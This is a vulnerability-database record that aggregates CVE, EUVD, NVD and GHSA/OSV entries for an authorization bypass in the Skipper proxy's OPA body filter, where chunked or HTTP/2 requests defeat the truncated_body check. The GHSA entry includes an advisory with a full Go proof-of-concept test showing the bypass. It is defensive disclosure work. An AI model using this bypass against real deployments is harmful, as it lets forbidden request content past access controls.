{"id":"GO-2026-6495","revision":null,"records":[{"revision":"0b73124815774291b74eea68571b529c","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-86043","aliases":[],"title":"Skipper: OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix CVE-2026-50197)","description":"Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.","state":0,"publishedAt":"2026-09-16T18:51:20.486+00:00","modifiedAt":"2026-09-16T19:38:17.894+00:00","affected":[{"ecosystem":"Vendor product","name":"skipper","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"zalando\",\n                    \"product\": \"skipper\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.27.37\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76","https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507","https://github.com/zalando/skipper/releases/tag/v0.27.35","https://github.com/zalando/skipper/tree/v0.27.35"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86043","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-86043","identifiers":["CVE-2026-86043"]},"retained":false,"historicalAffected":[]},{"revision":"d28c00a3cf0d49608a766c882605a6d2","observedAt":"2026-11-11T17:02:08.614+00:00","statement":{"source":"euvd","id":"EUVD-2026-81002","aliases":["CVE-2026-86043","GHSA-5gpm-rgj3-9q76"],"title":"Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because…","description":"Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":null}],"references":["https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76","https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507","https://github.com/zalando/skipper/releases/tag/v0.27.35","https://github.com/zalando/skipper/tree/v0.27.35"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81002","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 16, 2026, 6:51:20 PM","dateUpdated":"Sep 16, 2026, 7:38:17 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81002","identifiers":["EUVD-2026-81002","CVE-2026-86043","GHSA-5gpm-rgj3-9q76"]},"retained":false,"historicalAffected":[]},{"revision":"e68a6dfffd294598a2ea73d9a4e5952c","observedAt":"2026-10-25T16:19:16.24+00:00","statement":{"source":"nvd","id":"CVE-2026-86043","aliases":[],"title":"Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because…","description":"Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicyagent.go, ExtractHttpBodyOptionally truncates bodies at maxBodyBytes, while filters/openpolicyagent/internal/envoy/skipperadapter.go copies the request headers without adding a Content-Length value that reflects the truncation. For an HTTP/1.1 request using Transfer-Encoding: chunked or an HTTP/2 request without Content-Length, a body-inspecting policy that follows the prior mitigation and permits input.truncated_body equal to false can evaluate only the truncated prefix, allow the request, and then forward the full oversized body to the protected upstream. This residual issue is distinct from CVE-2026-50197. This issue is fixed in version 0.27.37.","state":0,"publishedAt":"2026-09-16T19:17:51.993+00:00","modifiedAt":"2026-09-16T20:17:36.343+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507","https://github.com/zalando/skipper/releases/tag/v0.27.35","https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76","https://github.com/zalando/skipper/tree/v0.27.35"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86043","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-09-16T19:17:51.993","lastModified":"2026-09-16T20:17:36.343"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-86043","identifiers":["CVE-2026-86043"]},"retained":false,"historicalAffected":[]},{"revision":"eedd27052d434dd7a1b8153b2ff9765c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5gpm-rgj3-9q76","aliases":["CVE-2026-86043","GO-2026-6495"],"title":"Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734)","description":"- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` → `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` → `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`.\n- **Affected versions:** `<= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.\n- **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) → GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant.\n\n## Summary\n\nSkipper's `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`):\n\n```rego\ndefault allow := false\nallow if {\n    input.truncated_body == false\n    # ... body-based conditions\n}\n```\n\nThat mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper's `bufferedBodyReader` streams the buffered prefix and then continues draining the original body).\n\nThe transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies.\n\n## Root cause\n\n`opa-envoy-plugin/envoyauth/request.go`:\n\n```go\nfunc getParsedBody(...) (any, bool, error) {\n    if val, ok := headers[\"content-type\"]; ok {\n        if strings.Contains(val, \"application/json\") {\n            ...\n            if val, ok := headers[\"content-length\"]; ok {          // <-- only path that sets truncation\n                truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))\n                ...\n                if truncated { return nil, true, nil }\n            }\n            ...\n        } else if ... \"application/x-www-form-urlencoded\" { /* same content-length gate */ }\n          else if ... \"multipart/form-data\"            { /* same content-length gate */ }\n    }\n    return data, false, nil     // <-- no content-length  ==> truncated_body = false\n}\n\nfunc checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {\n    cl, _ := strconv.ParseInt(contentLength, 10, 64)\n    if cl != -1 && cl > bodyLength { return true, nil }\n    return false, nil\n}\n```\n\nTruncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength < 0`), producing the exact divergence: OPA is told \"not truncated\", but the body was truncated, and the backend receives the whole thing.\n\n## Reachability\n\n1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).\n2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present.\n3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix.\n4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA.\n5. `getParsedBody` finds no `content-length` → `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error.\n6. Policy: `input.truncated_body == false` is satisfied → `allow = true`.\n7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream.\n\nEvery guard on the path is accounted for: the only \"guard\" is `truncated_body`, and it is defeated by omitting `content-length`.\n\n## Impact\n\nBypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).\n\n## CVSS 3.1\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High**\n\n- **AV:N** — remote HTTP request.\n- **AC:L** — single crafted request; no race/special conditions (just chunked framing + padding).\n- **PR:N / UI:N** — unauthenticated, no user interaction.\n- **S:U** — impact within the authorized component/upstream trust scope.\n- **C:N** — no direct disclosure by the bypass itself.\n- **I:H** — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).\n- **A:N** — not primarily an availability issue.\n\n(Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)\n\n## Proof of Concept\n\nExecutable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory's verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream.\n\n- **Positive control** — oversized body **with Content-Length** → `truncated_body=true` → **403** (mitigation works).\n- **Bypass** — identical oversized body sent **chunked** (no Content-Length) → `truncated_body=false` → **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap.\n\nCommand and observed benign output:\n\n```\n$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v\n\n    poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1\n    poc_truncated_body_chunked_test.go:154: [chunked        ] status=200 upstream_body_bytes=66\n--- PASS: TestTruncatedBodyChunkedBypass (0.11s)\nPASS\n```\n\n- content-length variant → **403**, upstream received nothing (`-1`) — mitigation works.\n- chunked variant (byte-identical body) → **200**, upstream received the **full 66-byte** payload past the 32-byte cap — **authorization bypass**.\n\n(Full PoC source is appended below by the submission tool via `--poc-file`.)\n\n## Adversarial re-read (refutation attempts)\n\n- *\"Truncated JSON just fails to parse → fail closed.\"* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases.\n- *\"Maybe Skipper adds a content-length for chunked before OPA sees it.\"* No — `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`.\n- *\"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected.\"* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly.\n- *\"Is this already covered by CVE-2026-50197?\"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.\n\nResult: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).\n\n## Remediation\n\nDo not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat \"body present but not fully inspectable and no content-length\" as truncated rather than defaulting to `false`.\n\n## Confidence\n\nHigh. Root cause verified in both Skipper and the pinned `opa-envoy-plugin@v1.14.1-envoy` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation.\n\n\n## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)\n\n```go\npackage openpolicyagent_test\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\topasdktest \"github.com/open-policy-agent/opa/v1/sdk/test\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/zalando/skipper/eskip\"\n\t\"github.com/zalando/skipper/filters\"\n\t\"github.com/zalando/skipper/filters/builtin\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent\"\n\t\"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest\"\n\t\"github.com/zalando/skipper/proxy\"\n\t\"github.com/zalando/skipper/routing\"\n\t\"github.com/zalando/skipper/routing/testdataclient\"\n)\n\n// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734\n// mitigation (\"check input.truncated_body in your policy\") fails OPEN when the\n// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).\n//\n// The mitigation Rego (verbatim from the advisory):\n//\n//\tdefault allow := false\n//\tallow if { input.truncated_body == false }\n//\n// truncated_body is derived by the OPA envoy plugin ONLY when a content-length\n// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody ->\n// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no\n// content-length, so truncated_body stays false even though Skipper truncated\n// the body to max-request-body-size. The mitigated policy therefore ALLOWS an\n// oversized body and the full payload reaches upstream.\nfunc TestTruncatedBodyChunkedBypass(t *testing.T) {\n\tconst maxBody = 32\n\t// oversized url-encoded payload: \"a=\" + 64 * \"A\" = 66 bytes > 32.\n\tpayload := \"a=\" + strings.Repeat(\"A\", 64)\n\n\t// upstream records how many body bytes it actually received.\n\tvar upstreamBytes atomic.Int64\n\tbackend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tn, _ := io.Copy(io.Discard, r.Body)\n\t\tupstreamBytes.Store(n)\n\t\tw.WriteHeader(200)\n\t\tw.Write([]byte(\"OK\"))\n\t}))\n\tdefer backend.Close()\n\n\tbundleName := \"test-bundle\"\n\topaControlPlane := opasdktest.MustNewServer(\n\t\topasdktest.MockBundle(\"/bundles/\"+bundleName, map[string]string{\n\t\t\t// The exact mitigation the advisory recommends.\n\t\t\t\"main.rego\": `\npackage envoy.authz\n\nimport rego.v1\n\ndefault allow := false\n\nallow if {\n    input.truncated_body == false\n}\n`,\n\t\t}),\n\t)\n\tdefer opaControlPlane.Stop()\n\n\tconfig := fmt.Appendf(nil, `{\n\t\t\"services\": {\"test\": {\"url\": %q}},\n\t\t\"bundles\": {\"test\": {\"resource\": \"/bundles/{{ .bundlename }}\"}},\n\t\t\"labels\": {\"environment\": \"test\"},\n\t\t\"plugins\": {\"envoy_ext_authz_grpc\": {\"path\": \"envoy/authz/allow\", \"dry-run\": false}}\n\t}`, opaControlPlane.URL())\n\n\topaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(\n\t\topenpolicyagent.WithPreloadingEnabled(true),\n\t\topenpolicyagent.WithEnableDataPreProcessingOptimization(true),\n\t\topenpolicyagent.WithInstanceStartupTimeout(5*time.Second),\n\t\topenpolicyagent.WithMaxRequestBodyBytes(maxBody),\n\t\topenpolicyagent.WithOpenPolicyAgentInstanceConfig(\n\t\t\topenpolicyagent.WithConfigTemplate(config)),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"opaRegistry: %v\", err)\n\t}\n\tdefer opaRegistry.Close()\n\n\tfr := make(filters.Registry)\n\tfr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))\n\tfr.Register(builtin.NewSetPath())\n\n\tdocFmt := `r1: * -> opaAuthorizeRequestWithBody(\"%s\") -> \"%s\";`\n\tr := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))\n\tdc := testdataclient.New(r)\n\tdefer dc.Close()\n\n\trt := routing.New(routing.Options{\n\t\tFilterRegistry:  fr,\n\t\tDataClients:     []routing.DataClient{dc},\n\t\tPreProcessors:   []routing.PreProcessor{opaRegistry.NewPreProcessor()},\n\t\tPostProcessors:  []routing.PostProcessor{opaRegistry},\n\t\tPollTimeout:     time.Second,\n\t\tSignalFirstLoad: true,\n\t})\n\tdefer rt.Close()\n\t<-rt.FirstLoad()\n\n\tpr := proxy.WithParams(proxy.Params{Routing: rt})\n\tdefer pr.Close()\n\tts := httptest.NewServer(pr)\n\tdefer ts.Close()\n\n\tinst, err := opaRegistry.GetOrStartInstance(bundleName)\n\tassert.NoError(t, err)\n\tassert.NotNil(t, inst)\n\n\tdoReq := func(chunked bool) (int, int64) {\n\t\tupstreamBytes.Store(-1)\n\t\treq, err := http.NewRequest(\"POST\", ts.URL, strings.NewReader(payload))\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"new request: %v\", err)\n\t\t}\n\t\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\t\tif chunked {\n\t\t\t// Force chunked framing: no Content-Length reaches the server,\n\t\t\t// so the server sees req.ContentLength == -1.\n\t\t\treq.ContentLength = -1\n\t\t\treq.TransferEncoding = []string{\"chunked\"}\n\t\t}\n\t\trsp, err := ts.Client().Do(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"do: %v\", err)\n\t\t}\n\t\tio.Copy(io.Discard, rsp.Body)\n\t\trsp.Body.Close()\n\t\treturn rsp.StatusCode, upstreamBytes.Load()\n\t}\n\n\t// POSITIVE CONTROL: oversized body WITH Content-Length.\n\t// truncated_body == true  -> policy denies. Mitigation works as designed.\n\tclStatus, clUpstream := doReq(false)\n\tt.Logf(\"[content-length ] status=%d upstream_body_bytes=%d\", clStatus, clUpstream)\n\tassert.Equal(t, 403, clStatus, \"oversized body with Content-Length must be DENIED (mitigation working)\")\n\n\t// BYPASS: identical oversized body sent CHUNKED (no Content-Length).\n\t// truncated_body == false -> policy ALLOWS -> full payload reaches upstream.\n\tchStatus, chUpstream := doReq(true)\n\tt.Logf(\"[chunked        ] status=%d upstream_body_bytes=%d\", chStatus, chUpstream)\n\n\tassert.Equal(t, 200, chStatus, \"BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation\")\n\tassert.Equal(t, int64(len(payload)), chUpstream,\n\t\t\"BYPASS: upstream received the FULL oversized payload past OPA authorization\")\n}\n\n```","state":0,"publishedAt":"2026-09-17T17:05:57+00:00","modifiedAt":"2026-09-28T17:11:13.3458463+00:00","affected":[{"ecosystem":"Go","name":"github.com/zalando/skipper","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.27.37"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76","https://nvd.nist.gov/vuln/detail/CVE-2026-86043","https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507","https://github.com/zalando/skipper","https://github.com/zalando/skipper/releases/tag/v0.27.35","https://github.com/zalando/skipper/releases/tag/v0.27.37","https://github.com/zalando/skipper/tree/v0.27.35"],"sourceUrl":"https://github.com/advisories/GHSA-5gpm-rgj3-9q76","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5gpm-rgj3-9q76","identifiers":["GHSA-5gpm-rgj3-9q76","CVE-2026-86043","GO-2026-6495"]},"retained":false,"historicalAffected":[]},{"revision":"2a6943ddfb8a4ff68f78e82e394c72c0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6495","aliases":["CVE-2026-86043","GHSA-5gpm-rgj3-9q76"],"title":"Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734) in github.com/zalando/skipper","description":"Skipper has OPA body-authz bypass: truncated_body mitigation fails open on chunked/HTTP-2 (incomplete fix GHSA-8qqm-fp2q-v734) in github.com/zalando/skipper","state":0,"publishedAt":"2026-09-28T16:43:40+00:00","modifiedAt":"2026-09-28T17:00:16.8985083+00:00","affected":[{"ecosystem":"Go","name":"github.com/zalando/skipper","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.27.37"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/zalando/skipper/security/advisories/GHSA-5gpm-rgj3-9q76","https://nvd.nist.gov/vuln/detail/CVE-2026-86043","https://github.com/zalando/skipper/commit/2cfceabaa6ff0af65b312dcb9bcbe84691b9d507","https://github.com/zalando/skipper/releases/tag/v0.27.35","https://github.com/zalando/skipper/releases/tag/v0.27.37","https://github.com/zalando/skipper/tree/v0.27.35"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6495","license":"OSV · upstream source license applies","key":"osv:GO-2026-6495","identifiers":["GO-2026-6495","CVE-2026-86043","GHSA-5gpm-rgj3-9q76"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T07:54:58.2349119+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T07:54:58.2349119+00:00","lastSuccessAt":"2026-11-12T07:54:58.4848198+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.4848225+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-1225a640a70b576ed1a85d2671a302d70a8e18168f570c1f4912faf8f66b1119","complete":true,"records":424623,"lastAttemptAt":"2026-11-12T07:53:22.876714+00:00","lastSuccessAt":"2026-11-12T07:53:22.8444514+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:53:22.876714+00:00","snapshotPublishedAt":"2026-11-12T07:24:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-570328139368428ca550af1570d01579","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T07:55:38.9446123+00:00","lastSuccessAt":"2026-11-12T06:55:06.923+00:00","error":null,"lastVerifiedAt":"2026-11-12T06:55:06.923+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T07:54:58.2349119+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T07:54:58.2349119+00:00","lastSuccessAt":"2026-11-12T07:54:58.4862124+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.4862143+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8017f5c1a44c430b920cd4f30d507e78","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T07:55:38.3687422+00:00","lastSuccessAt":"2026-11-12T07:55:38.365+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:55:38.365+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T07:54:58.021445+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.021445+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T07:53:23.1198989+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:53:23.1198989+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T07:54:58.1995224+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.1995224+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 